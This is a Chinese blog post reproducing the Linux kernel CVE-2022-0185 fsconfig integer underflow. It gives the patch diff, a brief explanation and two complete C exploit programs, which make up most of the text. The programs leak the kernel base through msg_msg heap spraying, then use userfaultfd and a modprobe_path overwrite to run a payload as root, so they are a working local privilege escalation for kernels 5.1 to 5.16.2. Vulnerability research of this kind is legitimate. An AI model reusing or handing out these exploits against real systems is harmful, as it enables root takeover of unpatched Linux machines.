【CVE 复现】CVE-2022-0185 fsconfig之整数溢出

news2024/11/28 16:01:03

影响版本：Linux-v5.1~v5.16.2

测试版本：Linux-5.11.22，由于懒得搞环境，所以直接用的 bsauce 大佬提供的 测试环境

看看 patch：


diff --git a/fs/fs_context.c b/fs/fs_context.c
index b7e43a780a625b..24ce12f0db32e5 100644
--- a/fs/fs_context.c
+++ b/fs/fs_context.c
@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
 			      param->key);
 	}
 
-	if (len > PAGE_SIZE - 2 - size)
+	if (size + len + 2 > PAGE_SIZE)
 		return invalf(fc, "VFS: Legacy: Cumulative options too large");
 	if (strchr(param->key, ',') ||
 	    (param->type == fs_value_is_string &&

这里 len/size 都是无符号数，所以当 2+size > PAGE_SIZE 时，则 PAGE_SIZE - 2 - size 是一个很大的数从而绕过检查，这里会导致堆溢出。

溢出 kmem_cache：kmalloc-4k

利用思路：

1）堆喷 msg_msg，触发第一次漏洞溢出修改 m_ts 从而泄漏内核基地址

2）堆喷 msg_msg，触发第二次漏洞溢出配合 userfaultfd修改 m_next 实现任意地址写 modprobe_path

注：bsauce 佬提供的测试环境内核版本为 v5.11.22，普通用户是无法直接使用 userfaultfd 的，我看 bsauce 佬直接写了个 fuse 驱动模块，然后利用的 fuse 去增大竞争窗口。但是这里为了方便，我直接在设置了普通用户可以使用 userfaultfd，这里只是为了简化利用。

echo 1 > /proc/sys/vm/unprivileged_userfaultfd

第一版垃圾 exp 如下：这里调整一下堆喷策略效果应该会好很多

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/mount.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif
#ifndef __NR_move_mount
#define __NR_move_mount 429
#endif

#define SPARY_MSG_NUMS 8
int hijack_idx;
size_t modprobe_path;
int fs_fds[SPARY_MSG_NUMS];

int fsopen(const char* fs_name, unsigned int flags)
{
    return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fd, unsigned int cmd, const char* key, const char* value, int aux)
{
    return syscall(__NR_fsconfig, fd, cmd, key, value, aux);
}

int fsmount(int fs_fd, unsigned int flags, unsigned int attr_flags)
{
    return syscall(__NR_fsmount, fs_fd, flags, attr_flags);
}

int move_mount(int from_dfd, const char* from_path, int to_dfd, const char* to_path, unsigned int flags)
{
    return syscall(__NR_move_mount, from_dfd, from_path, to_dfd, to_path, flags);
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


struct msg_buf {
        long m_type;
        char m_text[1];
};

struct msg_header {
        void* l_next;
        void* l_prev;
        long m_type;
        size_t m_ts;
        void* next;
        void* security;
};

void get_flag(){
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
        system("chmod +x /tmp/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件
        system("chmod +x /tmp/dummy");
        system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
        sleep(0.3);
        system("cat /flag");
        exit(0);
}

void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
        long uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);

        uffdio_register.range.start = (long long)addr;
        uffdio_register.range.len = len;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);

        if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
                puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}

char copy_src[0x1000];
void* handler(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler");
                size_t buf = modprobe_path - 8;
                char* x = &buf;
                char str[] = "/tmp/x";
                printf("hijack_idx ==> %d\n", hijack_idx);
                fsconfig(fs_fds[hijack_idx], FSCONFIG_SET_STRING, "\x00", "012345678901234567890AAAAAAAA", 0);
                fsconfig(fs_fds[hijack_idx], FSCONFIG_SET_STRING, "\x00", x, 0);
                memset(copy_src, 0, sizeof(copy_src));
                strncpy(copy_src, str, strlen(str));
                strncpy(copy_src+8, str, strlen(str));

                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}


size_t do_leak()
{
        char X_X = 1;
        int fs_fd;
        char buf[0x2000];
        char msg_buffer[0x2000];
        int msg_qid[SPARY_MSG_NUMS];
        size_t kernel_offset;
        struct msg_buf* msg_buf = (struct msg_buf*)msg_buffer;

        memset(msg_buffer, 0, sizeof(msg_buffer));
        msg_buf->m_type = 1;

if (!X_X) goto X_X_Label;
        for (int i = 0; i < SPARY_MSG_NUMS / 2; i++)
        {
                if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
                *(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
                *(uint64_t*)(msg_buf->m_text+8) = i;
                if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
                if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
        }

        fs_fd = fsopen("ext4", 0);
        if (fs_fd < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);

        for (int i = 0; i < 273; i++)
        {
                fsconfig(fs_fd, FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);
        }

        fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "012345678901234567890", 0);

        for (int i = SPARY_MSG_NUMS / 2; i < SPARY_MSG_NUMS; i++)
        {
                if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
                *(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
                *(uint64_t*)(msg_buf->m_text+8) = i;
                if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
                if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
        }

        for (int i = 0; i < SPARY_MSG_NUMS*2; i++)
        {
                if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
        }

        fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "\xc8\x1f", 0);
        goto GO;

X_X_Label:
        fs_fd = fsopen("ext4", 0);
        if (fs_fd < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);

        for (int i = 0; i < 273; i++)
        {
                fsconfig(fs_fd, FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);
        }

        fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "012345678901234567890", 0);

        for (int i = 0; i < SPARY_MSG_NUMS; i++)
        {
                if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
                *(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
                *(uint64_t*)(msg_buf->m_text+8) = i;
                if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
                if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
        }

        for (int i = 0; i < SPARY_MSG_NUMS*2; i++)
        {
                if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
        }

        fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "\xc8\x1f", 0);

GO:
        kernel_offset = -1;
        size_t vim_mtype;
        for (int i = 0; i < SPARY_MSG_NUMS; i++)
        {
                memset(buf, 0, sizeof(buf));
                if (msgrcv(msg_qid[i], buf, 0x2000-0x30-0x8, 0, IPC_NOWAIT|MSG_COPY|MSG_NOERROR) >= 0x2000-0x30-0x8)
                {
                        for (int k = 0; k < 0x1000 / 8; k++)
                        {
                                size_t addr = *(uint64_t*)(buf+0x1000+k*8);
                                vim_mtype = ((struct msg_buf*)buf)->m_type;
                                if (addr > 0xffffffff81000000 && (addr&0xfff) == 0x770)
                                {
                                        hexx("vim_mtype", vim_mtype);
                                        kernel_offset = addr - 0xffffffff81f36770;
                                        hexx("kernel_offset", kernel_offset);
                                        break;
                                }
                        }
                        if (!X_X) msgrcv(msg_qid[i], buf, 0x2000-0x30-0x8, vim_mtype, 0);
                        //binary_dump("OOB READ DATA", buf, 0x2000);
                        break;
                }
        }
        return kernel_offset;
}

void hijack_modprobePath()
{
        char buf[0x2000];
        char msg_buffer[0x2000];
        int msg_qid[SPARY_MSG_NUMS*2];
        size_t kernel_offset;
        struct msg_buf* msg_buf = (struct msg_buf*)msg_buffer;



        memset(msg_buffer, 0, sizeof(msg_buffer));
        msg_buf->m_type = 1;
        for (int i = 0; i < SPARY_MSG_NUMS; i++)
        {
                if ((msg_qid[i*2] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
                *(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
                *(uint64_t*)(msg_buf->m_text+8) = i*2+1;
                if (msgsnd(msg_qid[i*2], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");

                fs_fds[i] = fsopen("ext4", 0);
                if (fs_fds[i] < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);
                for (int j = 0; j < 273; j++)
                {
                        fsconfig(fs_fds[i], FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);
                }

                if ((msg_qid[i*2+1] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
                *(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
                *(uint64_t*)(msg_buf->m_text+8) = i*2+1;
                if (msgsnd(msg_qid[i*2+1], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");

//              if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
//              *(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
//              *(uint64_t*)(msg_buf->m_text+8) = i;
//              if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
        }

        for (int i = 0; i < SPARY_MSG_NUMS; i++)
        {
                msgrcv(msg_qid[i], buf, 0x1000+0x20-0x30-0x8, 1, 0);
        }

        char* uffd_buf;
        pthread_t thr[SPARY_MSG_NUMS];
        for (hijack_idx = 0; hijack_idx < SPARY_MSG_NUMS; hijack_idx++)
        {
                msg_buf = (struct msg_buf*)buf;
                msg_buf->m_type = 1;
                if ((msg_qid[hijack_idx] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
                if (msgsnd(msg_qid[hijack_idx], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");

                uffd_buf = NULL;
                uffd_buf = mmap(0, 0x2000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
                if (uffd_buf <= 0) err_exit("FAILED to mmap uffd_buf");
                register_userfaultfd(&thr[hijack_idx], uffd_buf+0x1000, 0x1000, handler);
                msg_buf = (struct msg_buf*)(uffd_buf+0x30);

                if ((msg_qid[hijack_idx] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
                msg_buf->m_type = 1;
                if (msgsnd(msg_qid[hijack_idx], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
                munmap(uffd_buf, 0x2000);
        }

}

int main(int argc, char** argv, char** envp)
{
        bind_core(0);
        pid_t pid;
        int pipe_fd[2];
        pipe(pipe_fd);
        pid = fork();
        if (!pid)
        {
                unshare(CLONE_NEWNS|CLONE_NEWUSER);
                size_t kernel_offset;
                kernel_offset = do_leak();
                if (kernel_offset == -1) err_exit("FAILED to leak kernel_offset");
                modprobe_path = 0xffffffff8346c160 + kernel_offset;
                hexx("modprobe_path", modprobe_path);
                hijack_modprobePath();
                write(pipe_fd[1], "X", 1);
                exit(0);
        } else if (pid < 0) {

                err_exit("FAILED to fork a new process");
        } else {
                char buf[1];
                read(pipe_fd[0], buf, 1);
                get_flag();
        }

        return 0;
}

效果如下：这里堆喷策略比较垃圾，成功率极低，后面再改改吧。

=========================================================================

修改了下堆喷策略，成功率提高了不少，虽然还不是很理想，比如受到 userfaultfd，modprobe_path可写的限制。这个好像可以直接套 pipe 构造页级UAF，后面再看看。

exp 如下：

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/mount.h>

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif
#ifndef __NR_move_mount
#define __NR_move_mount 429
#endif

#define SPARY_MSG_NUMS 8
size_t modprobe_path;
int fs_fds[SPARY_MSG_NUMS*2];

int fsopen(const char* fs_name, unsigned int flags)
{
    return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fd, unsigned int cmd, const char* key, const char* value, int aux)
{
    return syscall(__NR_fsconfig, fd, cmd, key, value, aux);
}

int fsmount(int fs_fd, unsigned int flags, unsigned int attr_flags)
{
    return syscall(__NR_fsmount, fs_fd, flags, attr_flags);
}

int move_mount(int from_dfd, const char* from_path, int to_dfd, const char* to_path, unsigned int flags)
{
    return syscall(__NR_move_mount, from_dfd, from_path, to_dfd, to_path, flags);
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


struct msg_buf {
        long m_type;
        char m_text[1];
};

struct msg_header {
        void* l_next;
        void* l_prev;
        long m_type;
        size_t m_ts;
        void* next;
        void* security;
};

void get_flag(){
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
        system("chmod +x /tmp/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件
        system("chmod +x /tmp/dummy");
        system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
        sleep(0.3);
        system("cat /flag");
}

void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
        long uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);

        uffdio_register.range.start = (long long)addr;
        uffdio_register.range.len = len;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) perror("[X] ioctl-UFFDIO_REGISTER"), exit(-1);

        if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
                puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}

char copy_src[0x1000];
void* handler(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler");
                size_t buf = modprobe_path - 8;
                char* x = &buf;
                char str[] = "/tmp/x";
                for (int i = 0; i < SPARY_MSG_NUMS*2; i++)
                {
                        fsconfig(fs_fds[i], FSCONFIG_SET_STRING, "\x00", "012345678901234567890AAAAAAAA", 0);
                        fsconfig(fs_fds[i], FSCONFIG_SET_STRING, "\x00", x, 0);
                }
                memset(copy_src, 0, sizeof(copy_src));
                strncpy(copy_src, str, strlen(str));
                strncpy(copy_src+8, str, strlen(str));

                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}


size_t do_leak()
{
        int fs_fd;
        char buf[0x2000];
        char msg_buffer[0x2000];
        int msg_qid[SPARY_MSG_NUMS*2];
        size_t kernel_offset;
        struct msg_buf* msg_buf = (struct msg_buf*)msg_buffer;

        memset(msg_buffer, 0, sizeof(msg_buffer));
        msg_buf->m_type = 1;

        for (int i = 0; i < 20; i++)
        {
                if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
        }

        for (int i = 0; i < SPARY_MSG_NUMS; i++)
        {
                if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
                *(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
                *(uint64_t*)(msg_buf->m_text+8) = i;
                if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
                if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
        }

        fs_fd = fsopen("ext4", 0);
        if (fs_fd < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);

        for (int i = 0; i < 273; i++)
        {
                fsconfig(fs_fd, FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);
        }

        fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "012345678901234567890", 0);

        for (int i = 0; i < 10; i++)
        {
                if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
        }

        for (int i = SPARY_MSG_NUMS; i < SPARY_MSG_NUMS*2; i++)
        {
                if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
                *(uint64_t*)(msg_buf->m_text) = 0xAAAABBBBCCCCDDDD;
                *(uint64_t*)(msg_buf->m_text+8) = i;
                if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
                if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
        }

        for (int i = 0; i < 30; i++)
        {
                if (open("/proc/self/stat", O_RDONLY) < 0) err_exit("FAILED to open /proc/self/stat file");
        }

        fsconfig(fs_fd, FSCONFIG_SET_STRING, "\x00", "\xc8\x1f", 0);

        kernel_offset = -1;
        size_t vim_mtype;
        for (int i = 0; i < SPARY_MSG_NUMS*2; i++)
        {
                memset(buf, 0, sizeof(buf));
                if (msgrcv(msg_qid[i], buf, 0x2000-0x30-0x8, 0, IPC_NOWAIT|MSG_COPY|MSG_NOERROR) >= 0x2000-0x30-0x8)
                {
                        for (int k = 0; k < 0x1000 / 8; k++)
                        {
                                size_t addr = *(uint64_t*)(buf+0x1000+k*8);
                                vim_mtype = ((struct msg_buf*)buf)->m_type;
                                if (addr > 0xffffffff81000000 && (addr&0xfff) == 0x770)
                                {
                                        hexx("vim_mtype", vim_mtype);
                                        kernel_offset = addr - 0xffffffff81f36770;
                                        hexx("kernel_offset", kernel_offset);
                                        break;
                                }
                        }
                        //binary_dump("OOB READ DATA", buf, 0x2000);
                        break;
                }
        }
        return kernel_offset;
}

void hijack_modprobePath()
{
        puts("==> hijack modprobe_path <==");
        char buf[0x2000];
        char msg_buffer[0x2000];
        int msg_qid[SPARY_MSG_NUMS];
        int qid;
        size_t kernel_offset;
        struct msg_buf* msg_buf = (struct msg_buf*)msg_buffer;

        memset(msg_buffer, 0, sizeof(msg_buffer));
        msg_buf->m_type = 1;
        for (int i = 0; i < SPARY_MSG_NUMS; i++)
        {
                fs_fds[i*2] = fsopen("ext4", 0);
                if (fs_fds[i*2] < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);
                for (int j = 0; j < 273; j++)
                {
                        fsconfig(fs_fds[i*2], FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);
                }

        //      if ((msg_qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
        //      if (msgsnd(msg_qid[i], msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");

                if (i == SPARY_MSG_NUMS / 2)
                {
                        if ((qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
                        if (msgsnd(qid, msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
                }

                fs_fds[i*2+1] = fsopen("ext4", 0);
                if (fs_fds[i*2+1] < 0) puts("[X] FAILED to fsopen ext4 fs"), exit(-1);
                for (int j = 0; j < 273; j++)
                {
                        fsconfig(fs_fds[i*2+1], FSCONFIG_SET_STRING, "Pwner", "XiaozaYa", 0);
                }
        }

//      for (int i = 0; i < SPARY_MSG_NUMS; i++)
//      {
//              if (msgrcv(msg_qid[i], buf, 0x1000+0x20-0x30-0x8, 1, 0) < 0)
//                      err_exit("FAILED to msgrcv msg");
//      }

        if (msgrcv(qid, buf, 0x1000+0x20-0x30-0x8, 1, 0) < 0)
                err_exit("FAILED to msgrcv msg");

        pthread_t thr;
        char* uffd_buf;
        msg_buf = (struct msg_buf*)msg_buffer;
        msg_buf->m_type = 1;
//      for (int i = 0; i < SPARY_MSG_NUMS / 3; i++)
//      {
//              if ((qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
//              if (msgsnd(qid, msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
//
//      }
        uffd_buf = mmap(0, 0x2000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        if (uffd_buf <= 0) err_exit("FAILED to mmap for uffd_buf");
        register_userfaultfd(&thr, uffd_buf+0x1000, 0x1000, handler);
        msg_buf = (struct msg_buf*)(uffd_buf+0x30);
        msg_buf->m_type = 1;
        if ((qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("FAILED to msgget a msg queue");
        if (msgsnd(qid, msg_buf, 0x1000+0x20-0x30-0x8, 0) < 0) err_exit("FAILED to msgsnd msg");
}

int main(int argc, char** argv, char** envp)
{
        bind_core(0);
        pid_t pid;
        int pipe_fd[2];
        pipe(pipe_fd);
        pid = fork();
        if (!pid)
        {
                unshare(CLONE_NEWNS|CLONE_NEWUSER);
                size_t kernel_offset;
                kernel_offset = do_leak();
                if (kernel_offset == -1) err_exit("FAILED to leak kernel_offset");
                modprobe_path = 0xffffffff8346c160 + kernel_offset;
                hexx("modprobe_path", modprobe_path);
                hijack_modprobePath();
                write(pipe_fd[1], "X", 1);
                puts("[+] CHILED END");
                exit(0);
        } else if (pid < 0) {

                err_exit("FAILED to fork a new process");
        } else {
                char buf[1];
                read(pipe_fd[0], buf, 1);
                get_flag();
                puts("[+] PARENT NED");
        }
        puts("[+] OVER");
        return 0;
}

总结：

自己的堆喷技巧不行，堆喷的效果非常差，非常不稳定，哎，还是多看看别人的 exp 好好学习吧

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1295709.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

Linux---日志管理

Linux---日志管理

本章主要介绍Linux中的日志管理 了解rsyslog是如何管理日志的查看日志的方法 日志管理简介 工作当中的日志&#xff0c;特指硬件和软件的日志&#xff0c;管理员可以通过它来检查错误发生的原因&#xff0c;或者寻找受到攻击时攻击者留下的痕迹。日志管理包括管理系统日志、应…
阅读更多...
三数组最小距离：2020年408算法题

三数组最小距离：2020年408算法题

